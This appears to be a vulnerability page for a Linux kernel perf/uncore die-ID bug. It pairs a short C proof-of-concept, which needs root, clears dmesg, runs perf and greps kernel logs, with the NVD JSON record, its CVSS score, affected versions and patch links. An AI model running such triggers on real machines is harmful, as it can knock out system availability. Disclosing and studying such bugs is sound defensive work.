CVE-2026-43344

/* * PoC for CVE-2026-43344 * Trigger Condition: CPU offline or NUMA disabled on Intel SPR/EMR platforms. * This code attempts to illustrate the scenario where uncore init fails. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> void simulate_trigger() { // In a real environment, an attacker would offline specific CPUs // associated with the UBOX device before triggering the init path. // e.g., echo 0 > /sys/devices/system/cpu/cpuX/online printf("[+] Simulating CPU offline state..."); system("dmesg -c > /dev/null"); // Clear dmesg // Triggering the perf subsystem to initialize uncore // This requires specific hardware (Intel Xeon Scalable) system("perf stat -e uncore_imc_0/cas_count_read/ sleep 0.1 2>&1"); printf("[+] Checking kernel logs for Die ID lookup failures..."); system("dmesg | grep -i 'die\|uncore\|pci2phy'"); } int main() { if (geteuid() != 0) { printf("[!] This PoC requires root privileges to manipulate CPU state and read dmesg."); return 1; } simulate_trigger(); return 0; }

{"cve": {"id": "CVE-2026-43344", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:44.433", "lastModified": "2026-05-18T12:30:51.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/x86/intel/uncore: Fix die ID init and look up bugs\n\nIn snbep_pci2phy_map_init(), in the nr_node_ids > 8 path,\nuncore_device_to_die() may return -1 when all CPUs associated\nwith the UBOX device are offline.\n\nRemove the WARN_ON_ONCE(die_id == -1) check for two reasons:\n\n- The current code breaks out of the loop. This is incorrect because\n pci_get_device() does not guarantee iteration in domain or bus order,\n so additional UBOX devices may be skipped during the scan.\n\n- Returning -EINVAL is incorrect, since marking offline buses with\n die_id == -1 is expected and should not be treated as an error.\n\nSeparately, when NUMA is disabled on a NUMA-capable platform,\npcibus_to_node() returns NUMA_NO_NODE, causing uncore_device_to_die()\nto return -1 for all PCI devices. As a result,\nspr_update_device_location(), used on Intel SPR and EMR, ignores the\ncorresponding PMON units and does not add them to the RB tree.\n\nFix this by using uncore_pcibus_to_dieid(), which retrieves topology\nfrom the UBOX GIDNIDMAP register and works regardless of whether NUMA\nis enabled in Linux. This requires snbep_pci2phy_map_init() to be\nadded in spr_uncore_pci_init().\n\nKeep uncore_device_to_die() only for the nr_node_ids > 8 case, where\nNUMA is expected to be enabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.12", "versionEndExcluding": "6.19.14", "matchCriteriaId": "3AFC09FA-6A85-42DB-870D-F9FED11BBC07"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6a5dc3ee97581da2907fc7acd62853f07184de67", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a16d1ec4dd0cdcf689f324adde6067083bce9099", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}